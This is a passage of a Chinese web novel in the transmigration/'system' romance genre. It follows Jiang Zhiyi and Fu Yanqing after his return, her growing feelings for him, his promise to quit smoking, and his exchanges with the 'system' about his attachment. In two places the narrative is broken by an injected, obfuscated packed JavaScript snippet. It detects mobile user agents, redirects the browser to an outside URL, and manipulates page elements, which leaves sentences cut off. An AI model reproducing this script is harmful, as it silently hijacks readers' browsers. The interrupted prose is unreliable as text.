所以她现在的指责是在,生气? 意识到这一点,傅延青心里的死灰又燃起火星,他问:“你在生气?” 生气就是在乎,所以,她在乎他? 江知意一愣,后知后觉自己的失态,立刻抿紧唇。 刚刚那一刻她竟然什么话都说了。 她竟然气得口不择言了。 傅延青问她是不是生气了,是啊! 当初主动承诺陪她十年的人是他,最后随便打声招呼就要绝交的人也是他。 连好好的道歉都没有,连给她做心理准备的时间都没有。 他怎么能这么随便? 她是生气,可除了生气,她还有更多的委屈和舍不得。 就算他要走……起码,也该给她一个好好告别的机会。 而不是匆匆说出口,匆匆就是永别。 江知意咬唇,气自己的沉不住气,可看到眼前的男人竟然笑了,她不由更气:“你还笑?” 傅延青微微敛了笑:“我现在解释,你要不要听?” ……要。 可这么轻易地放过他,听他解释,是不是显得她刚才的生气太没分量了? 纠结间,傅延青已开始解释:“我生病了。” 只这四个字就让江知意心里一紧,下意识问:“什么意思?” “我生病了,要去一个很远的地方治病,大概率治不好,所以。”他淡淡一笑,“我一直没告诉你,是怕你生气,你还记得最初你面对我时是什么样吗?” 怀疑,警惕,提防,不信任。 “我怕我说了,你会觉得我是骗子,又变回最初不信任我的样子,所以我才没告诉你,想像以前一样和你度过最后两个月。” 他眼神温柔下来,说:“不是故意骗你,如果不是我生病,我真的想陪你十年。” 十年之后再十年,就这样一辈子。 江知意茫然不解地看他:“什么意思,你生什么病了?治不好吗?为什么生病就不能陪我了?”她开始害怕,指尖控制不住地颤抖,连音量都提高了几分,“傅延青,你说的生病到底是什么意思?” 傅延青笑,反问她:“你知道长期抽烟会有什么后果吗?” 江知意:“……” 她艰难开口:“你的意思是……” 傅延青点头。 她怔然看着他:“怎么会?”说罢咬唇,“都怪你,你为什么要抽烟?你不知道吸烟有害健康吗?” 说完想起在傅延青家里见到的一垃圾桶烟盒,后怕漫上来,她涩声:“病得很严重吗?你现在有没有不舒服的地方?疼吗?” 傅延青摇头,笑着叹气:“如果我留下来,你愿不愿意帮我戒烟?” 留……留下来? 他不走了? 心脏砰砰砰地跳起来,江知意不敢相信地开口:“你改主意了?你要留下来?” “你想我留下来吗?”傅延青看着她。 想。 当然想。 “为什么要问我。”江知意别开头,“难道我回答想不想,就能决定你留不留吗?” “嗯,能。”他说。 江知意的心漏跳一拍。 他竟然说能。 这么大的事,他竟然说将决定权交给她。 “真的?”江知意转过去,眼睫轻轻颤抖着,“不骗我?” “不骗你。”傅延青承诺。 大脑在巨大的冲击下还有些晕乎,江知意愣怔看他许久,摇头。 随着她摇头的动作,傅延青呼吸滞住。 他轻扯了个笑,垂下眼睫道:“不想我留下?” “不是。”江知意说,“这是你自己的事,我代替不了你做决定。” 傅延青一愣。 “自己的人生就该自己掌握,自己决定。你是去是留,也该由你自己决定才对。” 想走的人留不住,想留的人不用开口。 他若是想走,她挽留也没用,反而显得她卑微。 他若是不想走,千难万险他也会留下来。 “傅延青。”江知意注视着他,将问题抛回去,一字一字说得缓慢认真,“你想留下吗?” 他想留下吗? 答案其实早就有了。 他所谓的执念,所谓的回来再见一面她,都只是想继续留在她身边罢了。 她说自己的决定就该自己做,而不是交由他人。 决定而已,有何难? 他早就做好了。 他只是想听她说一句“想”而已。 想听她亲口说,她想要他留下来。 偶尔傅延青会觉得他喜欢的姑娘真理智,事到如今还能冷静下来,有条不紊地说“自己的人生自己掌握”,一丝一毫的情绪冲动都没有。 偶尔他又觉得,这样没什么不好。 他喜欢的就是这样的江知意。 无论她谨慎小心,冷静理智,还是活泼可爱,他都喜欢。 他爱她的每一面。 面前的江知意还在等他的答案,傅延青笑了。 他说:“我会留下来的。” 一锤定音。 终于得到确切的答案,想到这几天的大起大落,江知意眼眶有些酸。 所有的不舍与难过,失落与恼怒,都在这一刻消失殆尽,只余欣喜。 傅延青不走了,她好高兴。 她忍住想哭的冲动,维持着声音的平稳问:“留多久?” “我也不知道。”傅延青将手放在她头顶,轻轻抚摸她的头发,他笑得温柔又哀伤,说,“我的病坚持不了多久,但我会尽量久一点。” 他的病—— “是肺癌吗?”江知意急急打断,“到晚期了吗?” 她咬唇,替他不甘心:“没事的,你别怕,我陪你。” 她将他的手从头顶拿下来,握住:“我帮你戒烟。” 男人笑容微滞,目光从她的脸移至她的手,最后点头:“嗯。” 天色不知何时暗了下来。 下过雨的天空总是格外干净,连星光都比平日亮了几分。 空气清新,带着泥土青草香。 傅延青送她下车,她挥了挥手,转身的瞬间,男人在身后叫住她。 “江知意。” “什么?” 她转过去,还未看清他是怎么走到她面前的,整个人就被猝不及防抱入怀中。 男人低下头,双手将她紧紧拥住,低沉带颤的声音响在耳边:“我以为我再也见不到你了。” 一向冷静自持的人,声音竟然带了颤,好似在以这种方式吐露着他的脆弱与后怕。 不止是声音,连环抱着她的那双手臂也在轻轻颤抖着。 他真的很害怕。 从不失态的傅延青在她面前露出这幅模样,江知意只觉得呼吸一窒,心脏仿佛被什么东西重重砸中。 “没事的。”她轻声安慰道,“你不是见到了吗?” 男人却再没有回应。 头顶的夜空星罗棋布,她在傅延青的怀里僵硬得不知所措,只能看天,呆呆看了几秒后,傅延青放开了她。 他退后几步,领口的领带被压得皱了几分,不再平整,他说:“抱歉,我太激动了。” 太激动? 若不是亲眼所见,她几乎不可能把这三个字和傅延青联系到一起。 就连现在,他也只是静静看着她,全无刚才的分寸尽失。 江知意恍惚地看了眼他领带,应道:“没事。” “我以为我再也见不到你了。”傅延青又重复一遍。 这回他说得平静且冷静,像对她说又不像对她说,江知意不解看他,点头:“我知道了,你说过了。” 你不知道。 傅延青低头一笑,作出告别:“很晚了,早点回去吧,晚安。” 江知意这才笑了,挥手道:“晚安。” * 回去的路上,系统开口:“……宿主。” 傅延青:“嗯。” 系统:“……” 开个口还跟踢皮球一样,受不了! “宿主。”它酝酿了下措辞,开门见山道,“你明知你没有机会了。” 两次攻略机会都已用完,他没道理再继续留下。 “可你要解决我的执念。”傅延青说,“让我留在她身边,我自己解决。” 系统:还带这样玩的? 攻略失败就借口解决执念继续留下,永动机? 卡bug呢这是? “???”系统大为震撼,“不可能的宿主,照你的说法,你要是解决不了执念,岂不是要一辈子留在书外?” “不会,我没那么奸猾。”男人的嗓音透着苦涩,“我在很认真地和你说解决方案。” 系统狐疑:“留在她身边,就是你的解决方案?” “嗯。”他压住眼底翻涌的情绪,“再陪她一段时间,和她做完想做的事,我会认命。” “认命”这个词突然让对话变得沉重起来,系统意识到他是认真的,不由道:“可解决执念只是附加任务,不可能像正式任务一样给你一整年的时间,不到一年,你确定可以?” “极限是多久?” “不好说。”系统沉思,“任务失败者不回书里,还在外面逗留,本身就是一种不稳定因素。具体多久……得取决于你那个世界的稳定性。” “这样。”傅延青淡淡道,“时限结束前,我有提醒吗?” “有。” “那就够了。” 他这样坚持,系统心里五味杂陈:“真的想好了?只有这一种方法能解决你的执念?” “是。”傅延青平静道,“除了这个,我别无所求。” 系统:“……” 它叹气:“好吧,如你所愿。” * 对话结束后,系统在高维空间见到了XA0001。 同为XA下的分支系统,数字越小就代表着级别越高。 0001亲自来见它,一定是有重要的事。 “3211,怎么回事?你手里的书怎么还没恢复正常?”0001开门见山。 “因为宿主有执念未消,直接放他回去会导致这本书剧情错乱……”系统3211为难,“我正在想办法帮他解决执念。” 0001惊讶。 一般来说,书里的角色见到外面的世界,或多或少会心有不甘,生出点执念。 执念分强弱,九成九的角色都力量有限,撼动不了系统的强制清除,只有少数几个,才能让系统清除失败。 而这样的角色,不知多少本书才能遇见一个。 如今,3211的宿主竟然对抗住了系统的强制清除,如此强大的执念,会是什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16458489|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “找到他的执念是什么了吗?”0001问。 “找到了,是一个人。”3211说,“他对攻略对象产生了感情。” 话音落下,0001和3211双双陷入沉默。 产生感情不奇怪,毕竟朝夕相处那么长时间。可深刻到成为执念…… 0001心里涌起不详的预感。 若是别的执念还好说,唯独感情。 这世上最不可控的东西就是感情,就怕到最后这份执念也没消掉。 0001沉吟片刻,道:“既然你都清楚了,那就尽早做好两手准备吧。若他的执念消不掉,你知道该怎么做。” 3211:“明白。” * 和傅延青告别,走在回宿舍的路上,江知意摸摸自己的脸,脑子还有些懵。 她刚刚,好像被傅延青抱了。 不对,不是好像,她就是被傅延青抱了! 转身的瞬间,他大步而来,一阵风后,她已被他抱入怀中。 彼时她整个人呆住,大脑空白一片,等回过神,已错过了挣脱的最佳时机。 不过这么说也不准确。 ……她也没有很想挣开。 傅延青抱她抱得很紧,所有克制压抑的感情,都好像随着这个拥抱传到了她心里。 汹涌,热切,浓烈,深刻。 然后他说:我以为我再也见不到你了。 原来是这样啊。 原来是怕再也见不到她才这么失态。 失态得都不像傅延青了。 出走的思绪一点点回归,她定了定神,笑着安慰他。 和傅延青告别,晚风拂面,好像尤带着夏季的余温,吹得她脸发烫。 她摇摇头,拐到水池边洗了把脸,才意识到根本不是风热。 ——是被傅延青抱得。 她的大脑好像总在这种事上迟钝几分,直到此刻,她才对“傅延青抱她”这件事有了实感。 男人的气息和体温也像慢半拍一样,让她有了感觉。 江知意的脸腾地一下,烧得更厉害了。 * “知意,你回来……”听到开门声,林岚望过来,接着她一愣,“你的脸怎么红了?” 她眨巴眨巴眼,走过来好奇:“和他待了一会儿脸就红成这样,你们有情况啊。” 江知意:“……” 片刻前发生的事又浮现眼前,她的心怦怦直跳,几乎无法冷静说话。 她转身关上门,深吸一口气,这才平复着情绪慢慢道:“他不走了。” “就这个?那你脸红什么?”林岚在身后追问。 因为…… 这事实在羞于启齿,江知意不敢看林岚,扶着门咬唇抿唇,反复几次,终于鼓足勇气道:“他还……抱我了。” 林岚:“哦?” 她的嗓音竟带了点笑意。 江知意愣了。 她转过去看她,不解道:“你不惊讶?” “还好?”林岚眼里也带着微微的笑意,“难怪你这么开心。” “……这你都能看出来?你怎么什么都知道?” “你喜欢他,他抱你你开心不是很正常吗?” “???” 这回轮到江知意惊讶了:“我什么时候说我喜欢他?” “啊?你不喜欢他?”林岚脸上的笑意也变作惊讶。 “……不喜欢啊。”她愣愣道。 她怎么会喜欢傅延青。 她一直都把他当朋友的。 林岚忽然凑近看她。 骤然拉近的距离让江知意一惊,她道:“你干什么?” “不喜欢他脸红成这样?那你说说,他抱你时你推开他了吗?” “……没。” 林岚噗嗤一下笑出声。 “好了,过来。”她拉着她坐下,撑着头还在笑,“你就是喜欢他啊,连我都不承认,真是的。” 林岚说得笃定,江知意心里的困惑慢慢盖过了不自然,她不由问道:“你为什么觉得我喜欢他?” “那你为什么觉得你不喜欢他?”林岚反问。 “因为很多啊,比如我没有天天想着他,没有主动关心他,对他没有占有欲,和他在一起的时候,我也没有紧张脸红心跳,刚刚的脸红,应该只是因为他是异性吧,我又没有被异性抱过,脸红一下怎么了。” 一番话说完,江知意对自己的结论又肯定了几分。 嗯,她的确不喜欢傅延青。 她对他的付出和关心都有限,对他的态度也实在一般,这样怎么能算喜欢一个人呢? 可林岚不这么觉得,她收了笑,若有所思地看她:“你们数学专业都是这样的吗?连喜不喜欢一个人都跟做数学题一样,分析得头头是道的。” “我说的不对吗?”江知意疑惑。 “当然不对。”像是觉得她可爱,林岚又笑了,“感情怎么能跟数学题一样?数学讲逻辑,感情可不讲逻辑,我数学不好,分析不了你那些日常的想法,只知道他抱你时你没有躲开,至少说明你对他有好感。” “还有他要走时你难过成那样,就说明你们俩怎么也不可能是一般朋友。你好好想想,以前你有朋友要走时,你是什么感觉?” 什么感觉? 想到答案后,江知意脸色变了。 这一反应被林岚尽收眼底,她笑意更深:“其实你是喜欢他但不自知吧?” “……”江知意突然站起来,有些慌张道,“我不知道,我要一个人想想。” “等等。”林岚握住她手腕,“我还有几句话想跟你说。” “之前我几次见他,知道他不是学生还有点担心你,怕你被他骗,但慢慢的,我对你越来越了解,也知道了你们认识两年,现在我想对你说,知意,放心去吧,想做什么就去做吧,我相信你识人的眼光。” 能被江知意喜欢上的人,一定不是普通人。 “就算最后结果不好,发生什么让你不开心的事,也还有我在呢。”林岚握紧她的手,“别怕,我陪你。” 这是林岚第一次对她说这么坦诚且掏心掏肺的话,江知意心里酸软,转头抱住她:“嗯,我知道。” 谢谢你。 * 林岚给她留了足够的独处空间。 江知意坐在床上,望着窗外,怔怔回想和傅延青之间的一切。 她喜欢他吗? 她不喜欢他吗? 要说喜欢,似乎有很多条论据; 要说不喜欢,似乎也有很多条论据。 不,不对,林岚说了,感情是不讲逻辑的。 她喜不喜欢傅延青,不应该这么分析。 那要怎么得出结论呢? 江知意取出手机,点开微信,看到了傅延青的头像。 想说些什么,又不知道该说什么。 算了。 她叹了口气,按灭手机,重新回想起今晚的事。 傅延青猝不及防回到她的世界,以为再也见不到的人奇迹般出现在她眼前,那一刻她的心情是什么样的呢? 还有傅延青抱她,她的心情又是什么样的? 他的身上,有一股好闻的冷香,要离得极近才能闻到,还有他的头发,有她最喜欢的柠檬香味。 他很高,一低头一伸手,就能完全将她拥入怀中。 最近的一刻,她靠在他胸前,隔着一层衬衫,仿佛听到了他的心跳声。 咚咚咚,咚咚咚。 剧烈,急促,有力。 那时她在想什么? 是不是想起很久以前那个雨天,他来学校接她,第一次背起她,带她去看病? 是不是沉溺得忘了说话,也忘了动作,就那样任由他抱一辈子? 不…… 其实她有一个下意识的动作的。 她僵硬地被他抱着,在某一个瞬间,她动了动手指,将手抬起几分。 ——她想回抱住他。 只是接下来他的话打断了她,将她的意识拖回现实,她才没有继续抱而已。 但这个回应的动作代表着什么,答案已不言而喻。 心脏又不受控制地开始狂跳,江知意伸手按住心脏,隐秘的喜悦和害怕同时在她心里疯长。 原来她不是不知道答案。 她是不敢想,她是害怕那个答案。 她怕自己一旦放纵,就会遭受万劫不复的伤害。 不可以,不可以喜欢傅延青。 江知意告诫自己。 在傅延青坦白一切前,她绝对不能喜欢他。 45. Round 3 大学的开学不像初高中,总是固定在9月1号。 今年他们3号开学,开学前两天,江知意和林岚还了钥匙,把东西重新搬回学生宿舍。 在宿舍看到一个个返校归来的舍友,江知意顿觉想念又亲切。 晚上和舍友聚完餐,忙碌的一天终于有了空闲时间。 江知意躺在床上,搜索起“戒烟”。 戒烟这事说难不难,说简单也不简单。 其中最重要的就是戒烟者本人有强烈而坚定的戒烟意愿。 这一点,江知意倒不怎么担心,她相信只要傅延青想戒,那他就一定能戒。 江知意翻了一会儿,注意到一条,说当戒烟者有吸烟意愿时,可以适当转移他的注意力,比如吃口香糖、做别的事。 她托着下巴想了一会儿,一个想法在心中慢慢成形。 2号是开学前的最后一天,江知意收拾完宿舍,带上宿舍垃圾早早出了门。 她没告诉傅延青她要去找他。 她要给他一个惊喜。 熟门熟路来到傅氏大楼楼下,甫一进门,前台工作人员就迎上来。 “您好女士,请问有什么可以帮您?” 江知意没多想,回答完“找傅延青”就继续向前走,却被工作人员拦住。 笑容得体的工作人员伸手拦在她面前,继续问道:“请问您有预约吗?” 预约? 这一连串的发问瞬间让江知意想起初来傅氏时的情形。 她见傅延青从来没有预约过,从来都是想来就来,想走就走,此刻面对公事公办的前台,不由懵了:“我不用预约。” “不好意思,傅总不见没有预约的人,请您预约后再来。”前台说着做了个“请回”的手势,“我送您出去。” 江知意:“……” 她愣了愣,问:“我现在见傅延青要提前跟他说了?” 前台摇头:“不好意思,傅总没有交代过,我们不太清楚。” 江知意不由抬头看了眼大厅,是这里啊,她没走错啊。 傅延青怎么会突然不让她进? 她拿出手机给傅延青发消息。 xyz:【我现在见你需要预约吗?】 F:【不用,怎么?】 xyz:【我在楼下,上不去了。】 之后手机便沉默了。 两分钟后,前台另一个工作人员小跑过来,歉疚道:“不好意思江小姐,傅总刚刚交代您不用预约,直接带您上去就好。” 她连连道歉,伸手引路道:“您跟我来。” 江知意:“……” 奇怪。 今天前台怎么了。 跟着前台上了电梯,等到了总裁办,江知意才发现傅延青根本没在。 正巧助理进来倒水,江知意问:“你们傅总呢?” “傅总在开会,很快就回来,您先坐下喝点水吧。”助理倒好水,微笑道,“请慢用。” 桌上的杯子还是青云出岫那套,江知意端起茶杯,抚过上面的工艺,笑了笑。 不多时门外传来说话声,江知意听出是傅延青和贺凌舟,主动打开门。 两人听到开门声,双双望过来。 傅延青没什么表情,倒是贺凌舟一愣。 他似乎很惊讶,连接下来要说什么都忘了,直直盯着她不能移开视线,江知意觉得怪异,疑惑看向傅延青。 “别看了。”傅延青出声,“今天的事就按我说的做,晚点我再找你,你先回去吧。” 贺凌舟这才回神,收回了目光。 虽然不再光明正大地看她,可他的视线还是似有若无地往这边落。 “可以,傅总。”贺凌舟眼神微妙,笑容意味深长道,“长进了。” 他低头取出盒烟,递向傅延青道:“那今天的事就先这样,来一根,走了。” 烟盒里整整齐齐摆放着两排烟,江知意心里一紧,脱口道:“别。” “……?”贺凌舟讶异地扭头,“你说什么?” 江知意攥紧口袋里的柠檬糖,硬着头皮上前,看向傅延青道:“别,我给你带了糖。” 她将口袋里的糖拿出来,紧张道:“别抽烟,吃糖。” 贺凌舟:? 他不可思议开口:“你知道你眼前的人是谁吗?” “知道。”傅延青替她回答。 他自然接过柠檬糖,撕开外包放进嘴里:“烟你自己留着吧,我戒了。” 此言一出,江知意松了口气,露出微笑,贺凌舟则目瞪口呆地看看傅延青,又目瞪口呆地看看她。 “不好意思,你是?”他蹙眉,“能说得动傅延青,我怎么从来没见过你?” 江知意:“???” 才放下的心又提起,她疑惑:“你怎么会没见过我,我们明明……” 明明贺凌舟还劝过她要争取的,如今怎么…… 不过细看他眼神,又确实一副陌生而有边界的样子。 仿佛第一次见她一样。 江知意心里一沉,越发觉得怪异,还要再问,傅延青打断道:“行了。” 他看着贺凌舟:“你先回去吧,我还有事。” 贺凌舟:“……” 他拧眉又看她几眼,收起烟盒,点头离开。 等贺凌舟走远,傅延青关上办公室的门,江知意迫不及待地问:“他怎么了?一副不认识我的样子。” 联想起前台的反常,她总觉得今天大家都怪怪的。 “没事,他受了点刺激,有些事不记得了。”傅延青面不改色地解释,“下次我提醒他。” 受了点刺激。 不记得了。 ??? 她以为小说里才有这样的发展。 “你的意思是,他失忆了?”江知意顺着问道。 傅延青一顿,点头:“你要这么理解也可以。” 江知意:“……” 傅延青不想在这个话题上继续纠缠,反问她:“你找我有事吗?” 江知意这才想起正事。 她放下书包,从书包里拿出一盒柠檬糖递给傅延青:“来给你送糖。柠檬糖,你喜欢吗?” 傅延青微微一怔:“送糖?” 他低头看手里的柠檬糖,每一颗都是精致的单独包装,连盒子都花了心思设计,一看就价格不低。 “你不是说要戒烟吗?网上说,戒烟时期可以通过其他事物来转移注意力,我看你也喜欢柠檬,就自作主张给你买了柠檬糖,以后你再想抽烟,就吃糖吧。” 她说得温柔认真,一副全心全意为他着想的样子,傅延青心里一动,问道:“要是这盒吃完了呢?” “那就再给你买啊。”江知意眨眨眼睛,说得理所当然,“只要能帮你戒烟,买点糖算什么,况且……”她声音低下去,笑了笑,“你都送我那么多东西了,礼尚往来嘛。” “就这么相信我能戒烟?”傅延青问。 “当然。”江知意毫不犹豫,“你决定的事,你肯定能做到。” 心里仿佛被什么东西轻轻一震,傅延青握紧糖盒,第一次感觉自己言语匮乏。 “贵吗?”他问。 “还好,刚好在我买得起的范围。”她微笑着看他,期待问道,“你还没回答我呢,好吃吗?” “好吃。” “那就好。”她舒了口气,拎起书包,“我没什么事了,你快去找你朋友吧。” “回学校?我送你吧,他不急。”傅延青放下盒子,上前一步道。 “好啊。”江知意自然地答应,走到门口想起什么,又回头看他,“对了,你那个朋友……” 想到接下来要说的话,她不免犹豫。 傅延青都因为吸烟生病了,贺凌舟为什么还给他递烟? 他不在乎他的身体吗? 可当着傅延青的面说他朋友的事,好像又不太好。 “怎么了?”傅延青看出她的难色,“在想他为什么给我递烟?” 江知意愣了愣,连忙点头。 “因为他不知道。”傅延青轻轻一笑,“我没告诉其他人,只有你知道。” 他将食指放在唇边,微微弯唇:“替我保密。” 江知意睁大了眼睛。 “只是生病,不影响我处理公司的事。你应该能想象到其他人知道我的病情后,会怎样对我。” “可这样会不会太辛苦了?”她愣愣问道,“你的身体真的没事吗?放下公司的事好好养病不行吗?” 傅延青只是摇头:“有些事情我不想输。” 男人的眼里有她看不懂的坚持,江知意心中一动,退让道:“好吧,那你注意休息,记得吃糖。” “嗯。”他眼中漾出浅浅温柔,应道,“记住了。” * 送走江知意后,系统忍不住开口:“失忆?这你都能想得出来?” “那不然?”傅延青冷淡反问,“我还能有什么借口?” 系统一想也是。 就算江知意觉得奇怪又怎样。 人无法猜测认知以外的东西,她就是想破脑袋也不可能猜到这里是一本书,这里每年都在上演相同的剧情。 “不过她挺关心你的。”系统换了话题,“这么远跑过来,就为了给你送糖。” 提到柠檬糖,傅延青垂眼,看向手边的糖盒。 柠檬。 她说他也喜欢柠檬,其实不是,他只是爱屋及乌。 因为爱屋及乌,所以在某些选择上,下意识选择了柠檬。 傅延青淡淡一笑,拿起一颗柠檬糖在手里摩挲道:“只要是对她好的人,她都会这样。” 因为她是个重视别人心意的人。 她不会把别人对她的好当做理所当然,只要旁人的心意她看在眼里,她都会这样关心和在乎的。 “关心和在乎也算她对你的好感度啊。”系统发出疑问,“你有没有想过她对你的好感度为什么到不了一百?是你对她不够好,还是她对你心存顾虑,不够相信你?” 傅延青手一顿,逃避似地看向窗外:“不知道。” “那你就不管了?” “勉强也没什么意思。”他仍然记得那天晚上,江知意面对他的靠近,后退了一大步。 那一步背后的抵触与抗拒,他至今不敢深想。 他这一生还未怕过什么,唯独这件事上像个懦夫。 江知意不喜欢他,他知道。 他不会勉强她。 他唯一所求,就是能在最后的时间多陪陪她,多看看她。 仅此而已。 “大概我不是她喜欢的类型。” 所以勉强也没用。 勉强只会伤害她,他怎么舍得。 风吹进来,傅延青说:“你放心,我知道自己在做什么。” “……行吧。”系统叹气,接着问道,“那戒烟的事呢,你真的想好了?” “嗯。” 平静的语气下是不可撼动的坚决,系统不免惊奇:“很难的,你要知道抽烟是这个世界给你的初始设定,无数个瞬间,你都会本能地去遵守这个设定的。” 傅延青:“不试试怎么知道。” 偶尔他也想用自己的力量去反抗些什么。 至少反抗的时候,他是凭自己的意志在行动,他是自由的。 况且她说了,她相信他。 ——他怎能辜负她的信任。 * 继前台和贺凌舟的怪异后,江知意没再遇到什么奇怪的事。 开学诸事繁多,她很快将此事抛之脑后。 正式成为大二生,有时上课路过操场,看到军训的新生,江知意也忍不住感慨起时光飞逝。 一年的时间,她已经彻底熟悉融入了江北大学,成了新生口中的“学姐”。 有人说大二是大学中最舒服最快乐的一年,因为大一懵懂,大三焦虑,大四忙碌,江知意抱着书,享受着头顶的阳光,不由期待起这一年。 开学第一周,除了综测要准备资料,还有学生会要招新,体育课重新选课。 宣传部的大家又聚在一起,嘻嘻哈哈闹成一团。 准备退部的老部长说,以后宣传部就是他们的天下了,面试新生有什么想法,全由他们做主。 大家一声欢呼,七嘴八舌地开始商量要问新生什么问题,面试怎么面。 江知意也在其中,笑着参与这一切。 一年前她还是话不多、性格较为安静的新生,如今也能大笑大闹,自然地融入大家,享受和大家在一起的时光了。 体育课,她依旧选了篮球。 开学第一节课,她再次见到了杨帆,去年把她脑门砸出血的人。 杨帆见到她露出惊喜的表情,主动道:“又选了篮球?” “对。” “那好啊,还是老样子,有什么不会可以问我,我教你。” 一切都在有条不紊地进行着。 唯一和以前不同的是,傅延青来找她的次数频繁了很多。 以前他多是一周、半个月找她一次,如今却变成了两三天。 相较以前,他开始频繁地和她见面,有时陪她自习,有时等她下课,有时带她去看音乐剧,请她吃饭。 且他每次见她,在校园里等她时,都会刻意穿得年轻些,不再西装革履那么板正。 譬如脱掉西装外套和领带,只留一件白衬衫。 傅延青来找她,她自然高兴,每次都毫不犹豫地同意,不曾多想,可次数多了,她不免好奇,笑着问他:“最近是不是不忙?不然怎么有空经常找我。” “嗯。”傅延青静静看她,“要推掉一些事养病,保证休息和心情愉悦。” “这样。”江知意笑笑,“今天我们干什么?” 今天周六,学校不上课,综测和学生会的招新都告一段落,正是她难得轻松的日子。 “没想好,你想做什么?” 江知意想了想,也没有头绪,干脆道:“那我们去河边散步吧。绕着河边吹吹风散散步,聊聊天也不错。” 傅延青点头:“好。” 江北大学的南门不远处有一条河,河边林荫小路安静惬意,十分适合散心,学校的学生平时没事做,就会来河边散步散心。 正是夏末秋初的交替季节,林荫小路还是一片绿,两人走过去,舒适的风拂过面颊,江知意不由弯起唇。 这条路她和林岚走过很多次,和傅延青却是第一次。 “怎么样,这里还不错吧?” “挺好。”傅延青今天穿的是一件白色衬衫,下摆自然垂在裤边,干干净净清清冷冷,乍眼一望,仿佛书里走出的高冷男神学长。 江知意看他几眼,觉得恍惚,忽然问道:“我发现我一直没问过你的年龄,你、多大啊?” “二十五。”傅延青没有多想,“怎么?” 二十五? 等等,她和傅延青认识两年,现在他二十五,那岂不是说明,两年前他们初见,他只有二十三? 二十三岁就是一个集团的总裁了? 江知意吃惊地望着他:“所以我们刚认识那会儿,你只有二十三?” 傅延青一顿,点头:“嗯。”他看过来,“比你大几岁,怎么了?” “没怎么,就是、就是……”就是觉得他年纪轻轻能坐到那个位置,很厉害。 “就是什么?”意外的,傅延青没有放过她,继续追问。 “就是觉得你年轻又厉害。” 或许是“年轻”这个词取悦到了他,他眼里多出点笑意:“是吗,我还以为你会觉得我老。” 毕竟她的同学个个年轻活泼又有朝气,而他背负着傅氏,早已和他们不是一个世界的了。 “怎么会?”江知意立刻反驳,“年龄都是和成就放在一起看的,二十五岁的总裁哪里老了?” “那和你比呢?我老吗?” “和我?”江知意歪了歪头,有些好笑,“为什么要和我比?你想听客观事实还是情感印象?” 傅延青:“后者。” “不老。”江知意摇头,“谁要是敢在我二十五岁说我老,我一定骂死他。”她说完一顿,像发现了什么,露出有趣的表情,“你今天怎么在意自己的年龄?哦,不对,不止今天,你最近好像都穿得很年轻。” 傅延青停下看她。 江知意跟着停下,自下而上扫视一遍傅延青,微微笑起来:“别想啦,其实人年轻,怎么穿都很年轻,你一点都不老的。” “不是你想的那样。”他顿了一下,缓缓说道,“我是在想,要是能和你一样年轻就好了。” “?”江知意不理解他为什么还在想这件事,惊讶道,“我才发现你有这么重的年龄焦虑。” 不过说起和她一样年轻,江知意来了兴趣,问道:“你这么想变年轻,是不是以前有什么让你念念不忘的事?二十岁那年,你在做什么?” 二十岁的傅延青应该还不在傅氏吧,那时他在做什么? 国内读书还是国外留学? 靠自己还是靠家里?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16514316|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她对傅延青的过去一无所知,此刻话题引出,她才发现自己有无数个问题想问他。 正好看到路边有长椅,江知意上前坐下,做好听故事的准备:“给我讲讲吧?” “没什么好讲的。”傅延青跟着她坐下,简略回答道,“在分公司上班,和现在差不多。” “二十岁你就已经……”江知意震惊,“你跳级了?还是你和我们普通学生学的不一样?” “和你们学的不一样。” 单独的私人教师,单独的课程规划,一直如此。 彼时他觉得这样的生活很无趣,寡淡如水,可如今知道系统,知道这个世界的真相,他不禁想,这些还是真的吗?究竟是他真的经历过这一切,还是这个世界给他强加了记忆和设定? “还有呢?” “没有了。”傅延青望着河面,只觉得自己的人生支离破碎。 无数的碎片里,只有他和江知意的那一块完整而真实。 “好敷衍。”江知意故作不满,“让你讲你就讲这两句话。” 这副模样,好像故意生气的同时又在等他顺台阶而下,生动可爱,看得他心里柔软一片。 傅延青忍不住笑,问道:“那怎么才不算敷衍?” “多讲点啊,你总不能是从石头缝里蹦出来的吧?平时上什么课,考试考多少分,这些都可以讲啊。” 傅延青无奈,依言讲起来。 那段过去在他看来枯燥又无聊,所以他讲得也很无趣,一板一眼,毫无起伏,若是别人,大抵已经昏昏欲睡,将他的话当成助眠音。 可江知意却听得很认真。 她不嫌无聊,时不时就发问,大有刨根问底之势。 “满分是十?” “你十八岁就拿下第一个项目了?” “那你当时听不懂他们讲爱尔兰语,怎么反击的?” “难怪你和贺凌舟走得近,原来他帮过你。” “……” “一点也不无聊。”听完后,江知意做出总结,“很有趣的,我从来都没听说过这些。”她露出微笑,双手撑在椅子边,轻轻晃着双脚,心情极好的样子,“你这不是会讲吗?多好,你多讲一些,我就能多了解你一些,我们的关系就更近一些。” 她转过头,认真注视着他:“一直没告诉你,我很喜欢和你做朋友的,你能和我分享你的过去,我真的很高兴。” 傅延青:“……” 朋友。 只是朋友。 她果真对他没有任何想法。 他叹笑,认命接受:“我也是。” “那你呢。”傅延青接着问,“最近学校有什么事吗?” “我想想。”江知意凝神思考,一瞬后道,“有,是学生会的事。” 她说:“我想退学生会了。” “为什么?” 